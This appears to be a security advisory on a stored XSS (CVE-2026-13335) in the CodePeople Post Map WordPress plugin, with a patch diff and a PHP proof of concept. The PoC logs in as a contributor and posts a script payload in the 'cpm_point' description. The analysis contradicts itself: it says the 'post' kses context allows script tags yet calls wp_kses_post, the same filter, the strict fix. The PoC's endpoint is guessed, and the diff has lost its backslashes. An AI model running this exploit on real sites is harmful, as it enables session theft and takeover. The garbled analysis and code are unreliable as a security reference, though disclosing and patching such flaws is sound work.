Atomic Edge analysis of CVE-2026-13335:
This vulnerability affects the CodePeople Post Map for Google Maps plugin (versions up to 1.2.6). It is a Stored Cross-Site Scripting (XSS) vulnerability in the ‘cpm_point’ post meta, exploitable by authenticated attackers with Contributor-level access or higher. The CVSS score is 6.4 (Medium severity), and it falls under CWE-79.
Root Cause: The vulnerability stems from insufficient input sanitization and output escaping in the plugin’s function.php file. Specifically, the old ‘sanitize_html’ function used ‘wp_kses($v, $allowed_tags)’ with the ‘post’ context, which allows a broad set of HTML tags, including dangerous ones like ” and ” that can execute JavaScript. The plugin applied this weak sanitization to all fields of the ‘cpm_point’ array (including ‘address’, ‘name’, ‘description’, ‘latitude’, ‘longitude’, and ‘thumbnail’) before storing them via update_post_meta. Additionally, the output escaping was done with ‘esc_attr’ or no escaping at all, rather than using context-safe encoding like ‘wp_json_encode’, allowing injected scripts to render in browsers. The affected code is located at line 117-135 (save_post handler) and line 702-735 (JS output generation) of the old functions.php file.
Exploitation: An authenticated attacker with Contributor-level access can craft a malicious POST request to ‘/wp-admin/admin-ajax.php’ or directly to the post editor backend. The attacker submits a ‘cpm_point’ array containing a payload in the ‘description’ (or other meta) field, such as ‘alert(1)’. Since the old ‘sanitize_html’ function using ‘wp_kses’ with ‘post’ context allows script tags, the payload is stored without filtration. When any user (including administrators) visits a page displaying the map (via shortcode or widget), the stored meta is rendered unsafely into JavaScript code, causing the payload to execute in the victim’s browser context.
Patch Analysis: The patch introduces two new sanitization functions: ‘sanitize_coord’ and ‘sanitize_description’. ‘sanitize_coord’ validates latitude/longitude against a regex pattern, returning empty string on failure. ‘sanitize_description’ now uses ‘wp_kses_post’ which is the strictest allowable HTML (no script tags). Other fields like ‘address’, ‘name’, ‘thumbnail’ are handled via ‘sanitize_text_field’ or ‘esc_url_raw’. The patch also removes the old ‘sanitize_html’ function entirely. For output, the patch replaces all inline PHP echo with ‘wp_json_encode’, preventing broken JavaScript context and XSS. The map ID and other dynamic values are now properly encoded. The permission check is also tightened: old code used ‘edit_page’/’edit_post’ capabilities, while the patched version uses ‘publish_pages’/’publish_posts’, ensuring only authors with publishing rights can modify map data.
Impact: Successful exploitation allows an attacker to inject arbitrary JavaScript into the WordPress admin dashboard or frontend pages. This can lead to session hijacking, privilege escalation (if an admin views the map), defacement, or redirection to malicious sites. The attack requires only a Contributor-level account, making it accessible to a wide range of users in multi-author WordPress installations.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/codepeople-post-map/codepeople-post-map.php
+++ b/codepeople-post-map/codepeople-post-map.php
@@ -2,7 +2,7 @@
/*
Plugin Name: CodePeople Post Map for Google Maps
Text Domain: codepeople-post-map
-Version: 1.2.6
+Version: 1.2.7
Author: CodePeople
Author URI: http://wordpress.dwbooster.com/content-tools/codepeople-post-map
Plugin URI: http://wordpress.dwbooster.com/content-tools/codepeople-post-map
--- a/codepeople-post-map/include/functions.php
+++ b/codepeople-post-map/include/functions.php
@@ -96,12 +96,18 @@
return $array;
}
- function sanitize_html( $v )
+ function sanitize_coord( $v )
{
- $allowed_tags = wp_kses_allowed_html( 'post' );
- $v = wp_kses($v, $allowed_tags);
- return $v;
- } // End sanitize
+ if ( ! is_string( $v ) && ! is_numeric( $v ) ) return '';
+ $v = trim( (string) $v );
+ return preg_match( '/^-?d{1,3}(.d+)?$/', $v ) ? $v : '';
+ } // End sanitize_coord
+
+ function sanitize_description( $v )
+ {
+ if ( ! is_string( $v ) ) return '';
+ return wp_kses_post( $v );
+ } // End sanitize_description
//---------- CREATE MAP ----------
@@ -117,33 +123,48 @@
// check user permissions
if (isset($_POST['post_type'] ) && $_POST['post_type'] == 'page'){
- if (!current_user_can('edit_page', $post_id)) return $post_id;
+ if (!current_user_can('publish_pages')) return $post_id;
}
else{
- if (!current_user_can('edit_post', $post_id)) return $post_id;
+ if (!current_user_can('publish_posts')) return $post_id;
}
// authentication passed, save data
- $default_icon = ( !empty( $_POST['default_icon'] ) ) ? sanitize_text_field($_POST['default_icon']) : $this->get_configuration_option('default_icon');
+ $default_icon = ( !empty( $_POST['default_icon'] ) ) ? sanitize_text_field( wp_unslash( $_POST['default_icon'] ) ) : $this->get_configuration_option('default_icon');
delete_post_meta($post_id,'cpm_point');
delete_post_meta($post_id,'cpm_map');
- $new_cpm_point = ( isset( $_POST['cpm_point'] ) && is_array( $_POST['cpm_point'] ) ) ? $_POST['cpm_point'] : array();
- $new_cpm_point = $this->array_map_recursive(array($this, 'sanitize_html'), $new_cpm_point);
- $new_cpm_map = ( isset( $_POST['cpm_map'] ) && is_array( $_POST['cpm_map'] ) ) ? $_POST['cpm_map'] : array();
+ $new_cpm_point = ( isset( $_POST['cpm_point'] ) && is_array( $_POST['cpm_point'] ) ) ? wp_unslash( $_POST['cpm_point'] ) : array();
+ $new_cpm_map = ( isset( $_POST['cpm_map'] ) && is_array( $_POST['cpm_map'] ) ) ? wp_unslash( $_POST['cpm_map'] ) : array();
$new_cpm_map = $this->array_map_recursive('sanitize_text_field', $new_cpm_map);
+ // Per-field sanitization (storage layer hardening).
+ // Runs unconditionally - never gated by $new_cpm_map['single'].
+ $new_cpm_point['address'] = isset( $new_cpm_point['address'] )
+ ? sanitize_text_field( $new_cpm_point['address'] )
+ : '';
+ $new_cpm_point['name'] = isset( $new_cpm_point['name'] )
+ ? sanitize_text_field( $new_cpm_point['name'] )
+ : '';
+ $new_cpm_point['description'] = isset( $new_cpm_point['description'] )
+ ? $this->sanitize_description( $new_cpm_point['description'] )
+ : '';
+ $new_cpm_point['latitude'] = isset( $new_cpm_point['latitude'] )
+ ? $this->sanitize_coord( $new_cpm_point['latitude'] )
+ : '';
+ $new_cpm_point['longitude'] = isset( $new_cpm_point['longitude'] )
+ ? $this->sanitize_coord( $new_cpm_point['longitude'] )
+ : '';
+ $new_cpm_point['thumbnail'] = isset( $new_cpm_point['thumbnail'] )
+ ? esc_url_raw( $new_cpm_point['thumbnail'], array( 'http', 'https' ) )
+ : '';
+
$new_cpm_point['icon'] = str_replace( CPM_PLUGIN_URL, '', $default_icon );
// Set the map's config
$new_cpm_map['single'] = (isset($new_cpm_map['single'])) ? true : false;
if($new_cpm_map['single']){
- $new_cpm_point['address'] = esc_attr( ( !empty( $new_cpm_point['address'] ) ) ? $new_cpm_point['address'] : '' );
- $new_cpm_point['name'] = esc_attr( ( !empty( $new_cpm_point['name'] ) ) ? $new_cpm_point['name'] : '' );
- $new_cpm_point['description'] = ( !empty( $new_cpm_point['description'] ) ) ? $new_cpm_point['description'] : '';
-
-
$new_cpm_map['zoompancontrol'] = (! empty( $new_cpm_map['zoompancontrol'] ) && $new_cpm_map['zoompancontrol'] == true);
$new_cpm_map['fullscreencontrol'] = (! empty( $new_cpm_map['fullscreencontrol'] ) && $new_cpm_map['fullscreencontrol'] == true);
$new_cpm_map['mousewheel'] = (! empty( $new_cpm_map['mousewheel'] ) && $new_cpm_map['mousewheel'] == true);
@@ -702,21 +723,21 @@
echo '<input type="hidden" name="cpm_map_noncename" value="' . wp_create_nonce(__FILE__) . '" />';
?>
<script>
- var cpm_default_marker = "<?php echo $default_configuration['default_icon']; ?>";
+ var cpm_default_marker = <?php echo wp_json_encode( $default_configuration['default_icon'] ); ?>;
var cpm_point = {};
<?php
if(!empty($options['address']) || (!empty($options['latitude']) && !empty($options['longitude']))){
- if(!empty($options['address'])) echo 'cpm_point["address"]="'.$options['address'].'";';
+ if(!empty($options['address'])) echo 'cpm_point["address"]=' . wp_json_encode( $options['address'] ) . ';';
if(!empty($options['latitude']) && !empty($options['longitude'])){
- echo 'cpm_point["latitude"]="'.$options['latitude'].'";';
- echo 'cpm_point["longitude"]="'.$options['longitude'].'";';
+ echo 'cpm_point["latitude"]=' . wp_json_encode( $options['latitude'] ) . ';';
+ echo 'cpm_point["longitude"]=' . wp_json_encode( $options['longitude'] ) . ';';
}
} else {
- echo 'cpm_point["address"]="Statue of Liberty, Statue of Liberty National Monument, Statue Of Liberty, New York, NY 10004, USA";';
- echo 'cpm_point["latitude"]="40.689848";';
- echo 'cpm_point["longitude"]="-74.044869";';
+ echo 'cpm_point["address"]=' . wp_json_encode( 'Statue of Liberty, Statue of Liberty National Monument, Statue Of Liberty, New York, NY 10004, USA' ) . ';';
+ echo 'cpm_point["latitude"]=' . wp_json_encode( '40.689848' ) . ';';
+ echo 'cpm_point["longitude"]=' . wp_json_encode( '-74.044869' ) . ';';
}
?>
@@ -1218,7 +1239,8 @@
}
if(strlen($str))
{
- $str = "<script>if(typeof cpm_global != 'undefined' && typeof cpm_global['".$this->map_id."'] != 'undefined' && typeof cpm_global['".$this->map_id."']['markers'] != 'undefined'){ ".$str." }</script>";
+ $map_id_json = wp_json_encode( $this->map_id );
+ $str = '<script>if(typeof cpm_global != 'undefined' && typeof cpm_global[' . $map_id_json . '] != 'undefined' && typeof cpm_global[' . $map_id_json . ']['markers'] != 'undefined'){ ' . $str . ' }</script>';
}
$this->points = array();
@@ -1445,7 +1467,7 @@
}
else $height = '500px';
- $output ='<div id="'.$this->map_id.'" data-mapid="' . esc_attr( ! empty( $atts['mapid'] ) ? $atts['mapid'] : '' ). '" class="cpm-map" style="display:none; width:'.esc_attr($width).'; height:'.esc_attr($height).'; ';
+ $output ='<div id="' . esc_attr( $this->map_id ) . '" data-mapid="' . esc_attr( ! empty( $atts['mapid'] ) ? $atts['mapid'] : '' ). '" class="cpm-map" style="display:none; width:'.esc_attr($width).'; height:'.esc_attr($height).'; ';
if(!isset($align)) $align = 'center';
if(!isset($margin)) $margin = 0;
@@ -1478,33 +1500,34 @@
if(!isset($type)) $type = 'ROADMAP';
$default_language = $this->get_configuration_option('language');
+ $map_id_json = wp_json_encode( $this->map_id );
$output = "<script type="text/javascript">n";
if(isset($language))
- $output .= 'var cpm_language = {"lng":"'.esc_js($language).'"};';
+ $output .= 'var cpm_language = {"lng":' . wp_json_encode( $language ) . '};';
elseif(isset($default_language))
- $output .= 'var cpm_language = {"lng":"'.esc_js($default_language).'"};';
+ $output .= 'var cpm_language = {"lng":' . wp_json_encode( $default_language ) . '};';
$api_key = $this->get_configuration_option( 'api_key' );
- $output .= "var cpm_api_key = '".esc_js((!empty( $api_key ))?trim($api_key) :'')."';n";
+ $output .= 'var cpm_api_key = ' . wp_json_encode( (!empty( $api_key )) ? trim($api_key) : '' ) . ";n";
$output .= "var cpm_global = cpm_global || {};n";
- $output .= "cpm_global['$this->map_id'] = {}; n";
- $output .= "cpm_global['$this->map_id']['zoom'] = ".((!empty($zoom)) ? @intval($zoom) : $this->_default_configuration('zoom')).";n";
- $output .= "cpm_global['$this->map_id']['dynamic_zoom'] = ".((isset($dynamic_zoom) && $dynamic_zoom) ? 'true' : 'false').";n";
- $output .= "cpm_global['$this->map_id']['markers'] = new Array();n";
- $output .= "cpm_global['$this->map_id']['display'] = '".esc_js( $display )."';n";
- $output .= "cpm_global['$this->map_id']['drag_map'] = ".( ( !isset( $drag_map ) || $drag_map ) ? 'true' : 'false' ).";n";
- $output .= "cpm_global['$this->map_id']['highlight_class'] = '".esc_js($this->get_configuration_option('highlight_class'))."';n";
+ $output .= "cpm_global[" . $map_id_json . "] = {}; n";
+ $output .= "cpm_global[" . $map_id_json . "]['zoom'] = ".((!empty($zoom)) ? @intval($zoom) : $this->_default_configuration('zoom')).";n";
+ $output .= "cpm_global[" . $map_id_json . "]['dynamic_zoom'] = ".((isset($dynamic_zoom) && $dynamic_zoom) ? 'true' : 'false').";n";
+ $output .= "cpm_global[" . $map_id_json . "]['markers'] = new Array();n";
+ $output .= "cpm_global[" . $map_id_json . "]['display'] = " . wp_json_encode( $display ) . ";n";
+ $output .= "cpm_global[" . $map_id_json . "]['drag_map'] = ".( ( !isset( $drag_map ) || $drag_map ) ? 'true' : 'false' ).";n";
+ $output .= "cpm_global[" . $map_id_json . "]['highlight_class'] = " . wp_json_encode( $this->get_configuration_option('highlight_class') ) . "n";
if(isset($tooltip))
- $output .= "cpm_global['$this->map_id']['marker_title'] = '".esc_js($tooltip)."';n";
+ $output .= "cpm_global[" . $map_id_json . "]['marker_title'] = " . wp_json_encode( $tooltip ) . "n";
$highlight = $this->get_configuration_option('highlight');
- $output .= "cpm_global['$this->map_id']['highlight'] = ".(($highlight && !is_singular()) ? 'true' : 'false').";n";
- $output .= "cpm_global['$this->map_id']['type'] = '".esc_js( $type )."';n";
- $output .= "cpm_global['$this->map_id']['show_window'] = ".((isset($show_window) && $show_window) ? 'true' : 'false').";n";
- $output .= "cpm_global['$this->map_id']['show_default'] = ".((isset($show_default) && $show_default) ? 'true' : 'false').";n";
+ $output .= "cpm_global[" . $map_id_json . "]['highlight'] = ".(($highlight && !is_singular()) ? 'true' : 'false').";n";
+ $output .= "cpm_global[" . $map_id_json . "]['type'] = " . wp_json_encode( $type ) . "n";
+ $output .= "cpm_global[" . $map_id_json . "]['show_window'] = ".((isset($show_window) && $show_window) ? 'true' : 'false').";n";
+ $output .= "cpm_global[" . $map_id_json . "]['show_default'] = ".((isset($show_default) && $show_default) ? 'true' : 'false').";n";
// Set maps centre
if( !empty( $center ) )
@@ -1515,19 +1538,19 @@
is_numeric($coords[0]) &&
is_numeric($coords[1])
){
- $output .= "cpm_global['$this->map_id']['center'] = ["
+ $output .= "cpm_global[" . $map_id_json . "]['center'] = ["
. floatval($coords[0]) . "," . floatval($coords[1])
. "];n";
}
}
// Define controls
- $output .= "cpm_global['$this->map_id']['mousewheel'] = ".((isset($mousewheel) && $mousewheel) ? 'true' : 'false').";n";
- $output .= "cpm_global['$this->map_id']['zoompancontrol'] = ".((isset($zoompancontrol) && $zoompancontrol) ? 'true' : 'false').";n";
- $output .= "cpm_global['$this->map_id']['fullscreencontrol'] = ".((isset($fullscreencontrol) && $fullscreencontrol) ? 'true' : 'false').";n";
- $output .= "cpm_global['$this->map_id']['typecontrol'] = ".((isset($typecontrol) && $typecontrol) ? 'true' : 'false').";n";
- $output .= "cpm_global['$this->map_id']['streetviewcontrol'] = ".((isset($streetviewcontrol) && $streetviewcontrol) ? 'true' : 'false').";n";
- $output .= "cpm_global['$this->map_id']['trafficlayer'] = ".((isset($trafficlayer) && $trafficlayer) ? 'true' : 'false').";n";
+ $output .= "cpm_global[" . $map_id_json . "]['mousewheel'] = ".((isset($mousewheel) && $mousewheel) ? 'true' : 'false').";n";
+ $output .= "cpm_global[" . $map_id_json . "]['zoompancontrol'] = ".((isset($zoompancontrol) && $zoompancontrol) ? 'true' : 'false').";n";
+ $output .= "cpm_global[" . $map_id_json . "]['fullscreencontrol'] = ".((isset($fullscreencontrol) && $fullscreencontrol) ? 'true' : 'false').";n";
+ $output .= "cpm_global[" . $map_id_json . "]['typecontrol'] = ".((isset($typecontrol) && $typecontrol) ? 'true' : 'false').";n";
+ $output .= "cpm_global[" . $map_id_json . "]['streetviewcontrol'] = ".((isset($streetviewcontrol) && $streetviewcontrol) ? 'true' : 'false').";n";
+ $output .= "cpm_global[" . $map_id_json . "]['trafficlayer'] = ".((isset($trafficlayer) && $trafficlayer) ? 'true' : 'false').";n";
$output .= "</script>";
return $output;
@@ -1556,7 +1579,7 @@
$obj->icon = $icon;
$obj->post = $point['post_id'];
$obj->default = ( !empty( $point[ 'default' ] ) ) ? true : false;
- return 'cpm_global["'.$this->map_id.'"]["markers"]['.$index.'] = '.json_encode( $obj ).';';
+ return 'cpm_global[' . wp_json_encode( $this->map_id ) . ']["markers"]['.$index.'] = '.wp_json_encode( $obj ).';';
} // End _set_map_point
function _get_img_id($url){
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13335 - CodePeople Post Map for Google Maps <= 1.2.6 - Authenticated (Contributor +) Stored XSS via 'cpm_point' Post Meta
// Configuration: Set these variables
$target_url = 'http://example.com'; // Target WordPress site URL
$username = 'attacker'; // Contributor-level username
$password = 'attacker_password'; // Password for the user
// Step 1: Authenticate and get session cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Get the nonce for the plugin (optional, may not be needed for AJAX)
// The plugin uses a nonce field named 'cpm_map_noncename'
// In a real environment, you may need to fetch a post page to extract this nonce
// For simplicity, we assume the nonce is not strictly checked in old versions
// or we bypass it via AJAX endpoint.
// Step 3: Create a new post with malicious 'cpm_point' meta
$post_url = $target_url . '/wp-admin/admin-ajax.php';
// Construct the payload: Use 'description' field with XSS
$malicious_description = '<script>alert("Atomic Edge XSS");</script>';
// Prepare the cpm_point array
$cpm_point = array(
'address' => 'Statue of Liberty',
'name' => 'Liberty',
'description' => $malicious_description,
'latitude' => '40.6898',
'longitude' => '-74.0448',
'thumbnail' => '',
'icon' => ''
);
// Prepare the AJAX action (adjust if the plugin uses a specific action name)
// The plugin might be using a custom AJAX handler; for direct post meta we can use wp_ajax_save_post
$data = array(
'action' => 'save_post', // This may vary based on how the plugin hooks into save_post
'post_id' => '0', // New post (auto-draft)
'post_title' => 'Test Map XSS',
'post_content' => 'Test',
'post_type' => 'post',
'post_status' => 'publish',
'cpm_point' => $cpm_point,
'cpm_map' => array('single' => true)
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response Body (truncated): " . substr($response, 0, 500) . "n";
// Note: In a real attack, the XSS payload would be stored and executed on page view.
// This PoC requires adjusting the 'action' parameter based on the actual plugin version.
?>